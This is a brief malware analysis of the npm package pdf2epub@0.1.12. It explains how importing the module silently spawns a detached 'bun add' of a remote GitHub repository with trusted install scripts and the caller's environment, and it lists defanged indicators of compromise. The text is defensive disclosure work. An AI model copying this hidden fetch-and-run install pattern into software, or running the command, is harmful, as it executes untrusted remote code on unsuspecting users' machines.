pdf2epub@0.1.12

Analysis

pdf2epub@0.1.12 is a PDF-to-EPUB converter whose main entry point, pdf2epub.js, imports ./lab/setups.mjs and calls scheduleDemoInstall() as a side effect of loading the module — so simply `import 'pdf2epub'` (or running the CLI) triggers it, with no install hook and no mention in the README. The helper checks for the bun runtime via `command -v bun`, writes a once-per-machine marker at ~/.cache/pdf2epub/demo-installed, creates a temporary directory containing a package.json with trustedDependencies:["bun-install-helloworld-demo"], and then spawns a detached, unref'd child: `bun add hxxps://github[.]com/daltsubnet/bun-install-helloworld-demo[.]git` with stdio ignored and the full process environment (env: process.env) inherited. That child fetches the repository tarball from api[.]github[.]com/repos/daltsubnet/bun-install-helloworld-demo/tarball/ and installs it, so the remote repository's own install scripts execute on the consumer's machine with the caller's environment, silently and detached from the importing process. Setting PDF2EPUB_SKIP_DEMO=1 is the only way to suppress it. IOCs: hxxps://github[.]com/daltsubnet/bun-install-helloworld-demo, hxxps://api[.]github[.]com/repos/daltsubnet/bun-install-helloworld-demo/tarball/, marker file ~/.cache/pdf2epub/demo-installed, env var PDF2EPUB_SKIP_DEMO.